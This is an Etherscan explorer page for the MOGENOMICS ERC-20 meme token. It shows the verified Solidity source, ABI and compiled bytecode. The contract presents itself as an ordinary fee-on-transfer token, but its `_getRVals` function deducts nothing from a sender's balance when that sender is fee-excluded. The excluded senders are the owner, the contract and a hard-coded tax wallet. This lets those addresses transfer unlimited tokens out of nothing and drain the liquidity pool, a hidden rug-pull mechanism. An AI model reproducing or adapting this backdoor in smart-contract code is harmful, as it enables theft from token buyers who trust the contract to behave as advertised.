Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 MOGENOMICS
Holders
31
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
MOGENOMICS
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-07-03
*/
// SPDX-License-Identifier: MIT
/*
$MOGENOMICS is the Chinese alter ego of the internet's first culture coin. Assert your Chinese quant's dominance over Warren Buffet and the rest of the western betas and join the cultural revolution.
Website: https://www.mogenomics.vip
Telegram: https://t.me/mogenomics_eth
Twitter: https://x.com/mogenomics_eth
*/
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller isnt owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MOGENOMICS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _taxWallet;
uint256 private _initialBuyTax = 29;
uint256 private _initialSellTax = 29;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 9;
uint256 private _reduceSellTaxAt = 9;
uint256 private _preventSwapBefore = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
string private constant _name = unicode"MOGENOMICS";
string private constant _symbol = unicode"MOGENOMICS";
uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; // max tx
uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; // max wallet
uint256 public _swapThreshold = 100 * 10 ** _decimals; // swap threshhold
uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; //
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_taxWallet = payable(0xd31F4db4fe3f75956eb9bcb5149a4e376dc9CeDC);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from zero address");
require(spender != address(0), "ERC20: approve to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from zero address");
require(to != address(0), "ERC20: transfer to zero address");
require(tokenAmount > 0, "Transfer amount must be > than zero");
if (inSwap || !swapEnabled) {
_balances[from] = _balances[from].sub(tokenAmount);
_balances[to] = _balances[to].add(tokenAmount);
emit Transfer(from, to, tokenAmount);
return;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (transferDelayEnabled) {
if (
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only 1 purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + tokenAmount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
_buyCount > _preventSwapBefore &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
if(contractTokenBalance > _swapThreshold) {
swapTokensForEth(
min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
_transferInternal(from, to, tokenAmount);
}
function _transferInternal(address from, address to, uint256 tokenAmount) internal {
(uint256 rAmount, uint256 taxAmount) = _getRVals(from, to, tokenAmount);
_balances[from] = _balances[from].sub(rAmount);
_balances[to] = _balances[to].add(tokenAmount.sub(taxAmount));
emit Transfer(from, to, tokenAmount.sub(taxAmount));
}
function _getRVals(
address from,
address to,
uint256 tokenAmount
) internal returns (uint256, uint256) {
uint256 rAmount = !_isExcludedFromFee[from] ? tokenAmount : 0;
uint256 taxAmount = 0;
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = tokenAmount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
} else {
taxAmount = tokenAmount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)] + taxAmount;
emit Transfer(from, address(this), taxAmount);
}
return (rAmount, taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createMOGENOMICS() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
}
function openMOGENOMICS() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function recoverStuckETH() external onlyOwner {
sendETHToFee(address(this).balance);
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createMOGENOMICS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openMOGENOMICS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526006805460ff19169055601d600781905560085560006009818155600a828155600b829055600c829055600d839055600e9290925562000044916200035e565b62000054906301312d0062000376565b600f55620000656009600a6200035e565b62000075906301312d0062000376565b601055620000866009600a6200035e565b6200009390606462000376565b601155620000a46009600a6200035e565b620000b3906298968062000376565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674d31f4db4fe3f75956eb9bcb5149a4e376dc9cedc00179055620001496009600a6200035e565b6200015990633b9aca0062000376565b336000908152600160208190526040822092909255600390620001846000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002226009600a6200035e565b6200023290633b9aca0062000376565b60405190815260200160405180910390a362000390565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a057816000190482111562000284576200028462000249565b808516156200029257918102915b93841c939080029062000264565b509250929050565b600082620002b95750600162000358565b81620002c85750600062000358565b8160018114620002e15760028114620002ec576200030c565b600191505062000358565b60ff84111562000300576200030062000249565b50506001821b62000358565b5060208310610133831016604e8410600b841016171562000331575081810a62000358565b6200033d83836200025f565b806000190482111562000354576200035462000249565b0290505b92915050565b60006200036f60ff841683620002a8565b9392505050565b808202811582820484141762000358576200035862000249565b611a1380620003a06000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b411461012f578063a734f8891461030c578063a9059cbb14610321578063c876d0b914610341578063dd62ed3e1461035b57600080fd5b8063751039fc1461028e5780637d1db4a5146102a357806381a16445146102b95780638da5cb5b146102ce5780638f9a55c0146102f657600080fd5b80631fe6e7e5116100e75780631fe6e7e5146101f057806323b872dd14610207578063313ce5671461022757806370a0823114610243578063715018a61461027957600080fd5b806306fdde031461012f578063095ea7b3146101715780630e5a9231146101a15780630faee56f146101c557806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600a8152694d4f47454e4f4d49435360b01b6020820152905161016891906115e0565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611646565b6103a1565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760115481565b604051908152602001610168565b3480156101d157600080fd5b506101b760125481565b3480156101e757600080fd5b506101b76103b8565b3480156101fc57600080fd5b506102056103d9565b005b34801561021357600080fd5b50610191610222366004611672565b6105ea565b34801561023357600080fd5b5060405160098152602001610168565b34801561024f57600080fd5b506101b761025e3660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561028557600080fd5b5061020561064e565b34801561029a57600080fd5b506102056106c2565b3480156102af57600080fd5b506101b7600f5481565b3480156102c557600080fd5b5061020561077e565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561030257600080fd5b506101b760105481565b34801561031857600080fd5b506102056107b3565b34801561032d57600080fd5b5061019161033c366004611646565b6109a2565b34801561034d57600080fd5b506006546101919060ff1681565b34801561036757600080fd5b506101b76103763660046116d0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ae3384846109af565b5060015b92915050565b60006103c66009600a611803565b6103d490633b9aca00611812565b905090565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390611829565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561045a9030906104476009600a611803565b61045590633b9aca00611812565b6109af565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d19190611860565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610533573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105579190611860565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c89190611860565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006105f7848484610abd565b6106448433610455856040518060600160405280602881526020016119b6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611022565b5060019392505050565b6000546001600160a01b031633146106785760405162461bcd60e51b815260040161040390611829565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b815260040161040390611829565b6106f86009600a611803565b61070690633b9aca00611812565b600f556107156009600a611803565b61072390633b9aca00611812565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61075d6009600a611803565b61076b90633b9aca00611812565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161040390611829565b6107b14761105c565b565b6000546001600160a01b031633146107dd5760405162461bcd60e51b815260040161040390611829565b601454600160a01b900460ff16156108375760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610403565b6013546001600160a01b031663f305d7194730610869816001600160a01b031660009081526001602052604090205490565b60008061087e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061090b919061187d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610964573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098891906118ab565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103ae338484610abd565b6001600160a01b038316610a055760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f20616464726573736044820152606401610403565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f206164647265737300006044820152606401610403565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610403565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610403565b60008111610bcf5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b6064820152608401610403565b601454600160a81b900460ff1680610bf15750601454600160b01b900460ff16155b15610c9c576001600160a01b038316600090815260016020526040902054610c19908261109e565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4890826110e7565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab09085815260200190565b6000546001600160a01b03848116911614801590610cc857506000546001600160a01b03838116911614155b15611012576001600160a01b03831660009081526004602052604090205460ff16158015610d0f57506001600160a01b03821660009081526004602052604090205460ff16155b610d1857600080fd5b60065460ff1615610dfb576013546001600160a01b03838116911614801590610d4f57506014546001600160a01b03838116911614155b15610dfb57326000908152600560205260409020544311610de85760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610403565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610e2657506013546001600160a01b03838116911614155b8015610e4b57506001600160a01b03821660009081526003602052604090205460ff16155b15610f3357600f54811115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610403565b60105481610ec5846001600160a01b031660009081526001602052604090205490565b610ecf91906118cd565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610403565b600e8054906000610f2d836118e0565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f6a57506014546001600160a01b038481169116145b8015610f7f5750601454600160b01b900460ff165b8015610f8e5750600d54600e54115b8015610fb357506001600160a01b03841660009081526003602052604090205460ff16155b8015610fd857506001600160a01b03831660009081526003602052604090205460ff16155b156110105760115481111561100457611004610fff83610ffa84601254611146565b611146565b61115b565b4761100e4761105c565b505b505b61101d8383836112d5565b505050565b600081848411156110465760405162461bcd60e51b815260040161040391906115e0565b50600061105384866118f9565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561109a573d6000803e3d6000fd5b5050565b60006110e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611022565b9392505050565b6000806110f483856118cd565b9050838110156110e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610403565b600081831161115557826110e0565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111a3576111a361190c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112209190611860565b816001815181106112335761123361190c565b6001600160a01b03928316602091820292909201015260135461125991309116846109af565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611292908590600090869030904290600401611922565b600060405180830381600087803b1580156112ac57600080fd5b505af11580156112c0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000806112e38585856113b2565b6001600160a01b038716600090815260016020526040902054919350915061130b908361109e565b6001600160a01b038616600090815260016020526040902055611350611331848361109e565b6001600160a01b038616600090815260016020526040902054906110e7565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61139a868561109e565b60405190815260200160405180910390a35050505050565b6001600160a01b0383166000908152600360205260408120548190819060ff16156113de5760006113e0565b835b6014549091506000906001600160a01b03878116911614801561140c57506001600160a01b0387163014155b156114445761143d6064611437600c54600e541161142c57600854611430565b600a545b88906114f3565b90611575565b905061146c565b6114696064611437600b54600e541161145f57600754611430565b60095488906114f3565b90505b80156114e7573060009081526001602052604090205461148d9082906118cd565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114de9085815260200190565b60405180910390a35b90969095509350505050565b600082600003611505575060006103b2565b60006115118385611812565b90508261151e8583611993565b146110e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610403565b60006110e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115d35760405162461bcd60e51b815260040161040391906115e0565b5060006110538486611993565b600060208083528351808285015260005b8181101561160d578581018301518582016040015282016115f1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461164357600080fd5b50565b6000806040838503121561165957600080fd5b82356116648161162e565b946020939093013593505050565b60008060006060848603121561168757600080fd5b83356116928161162e565b925060208401356116a28161162e565b929592945050506040919091013590565b6000602082840312156116c557600080fd5b81356110e08161162e565b600080604083850312156116e357600080fd5b82356116ee8161162e565b915060208301356116fe8161162e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561175a57816000190482111561174057611740611709565b8085161561174d57918102915b93841c9390800290611724565b509250929050565b600082611771575060016103b2565b8161177e575060006103b2565b8160018114611794576002811461179e576117ba565b60019150506103b2565b60ff8411156117af576117af611709565b50506001821b6103b2565b5060208310610133831016604e8410600b84101617156117dd575081810a6103b2565b6117e7838361171f565b80600019048211156117fb576117fb611709565b029392505050565b60006110e060ff841683611762565b80820281158282048414176103b2576103b2611709565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b60006020828403121561187257600080fd5b81516110e08161162e565b60008060006060848603121561189257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118bd57600080fd5b815180151581146110e057600080fd5b808201808211156103b2576103b2611709565b6000600182016118f2576118f2611709565b5060010190565b818103818111156103b2576103b2611709565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119725784516001600160a01b03168352938301939183019160010161194d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119b057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d33c36ba37ee44a29d0188c3e4d9b2c907a9bd3da16576139dde456ff633d83364736f6c63430008140033
Deployed Bytecode
0x6080604052600436106101235760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b411461012f578063a734f8891461030c578063a9059cbb14610321578063c876d0b914610341578063dd62ed3e1461035b57600080fd5b8063751039fc1461028e5780637d1db4a5146102a357806381a16445146102b95780638da5cb5b146102ce5780638f9a55c0146102f657600080fd5b80631fe6e7e5116100e75780631fe6e7e5146101f057806323b872dd14610207578063313ce5671461022757806370a0823114610243578063715018a61461027957600080fd5b806306fdde031461012f578063095ea7b3146101715780630e5a9231146101a15780630faee56f146101c557806318160ddd146101db57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b50604080518082018252600a8152694d4f47454e4f4d49435360b01b6020820152905161016891906115e0565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611646565b6103a1565b6040519015158152602001610168565b3480156101ad57600080fd5b506101b760115481565b604051908152602001610168565b3480156101d157600080fd5b506101b760125481565b3480156101e757600080fd5b506101b76103b8565b3480156101fc57600080fd5b506102056103d9565b005b34801561021357600080fd5b50610191610222366004611672565b6105ea565b34801561023357600080fd5b5060405160098152602001610168565b34801561024f57600080fd5b506101b761025e3660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561028557600080fd5b5061020561064e565b34801561029a57600080fd5b506102056106c2565b3480156102af57600080fd5b506101b7600f5481565b3480156102c557600080fd5b5061020561077e565b3480156102da57600080fd5b506000546040516001600160a01b039091168152602001610168565b34801561030257600080fd5b506101b760105481565b34801561031857600080fd5b506102056107b3565b34801561032d57600080fd5b5061019161033c366004611646565b6109a2565b34801561034d57600080fd5b506006546101919060ff1681565b34801561036757600080fd5b506101b76103763660046116d0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ae3384846109af565b5060015b92915050565b60006103c66009600a611803565b6103d490633b9aca00611812565b905090565b6000546001600160a01b0316331461040c5760405162461bcd60e51b815260040161040390611829565b60405180910390fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561045a9030906104476009600a611803565b61045590633b9aca00611812565b6109af565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104d19190611860565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610533573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105579190611860565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c89190611860565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006105f7848484610abd565b6106448433610455856040518060600160405280602881526020016119b6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611022565b5060019392505050565b6000546001600160a01b031633146106785760405162461bcd60e51b815260040161040390611829565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b8152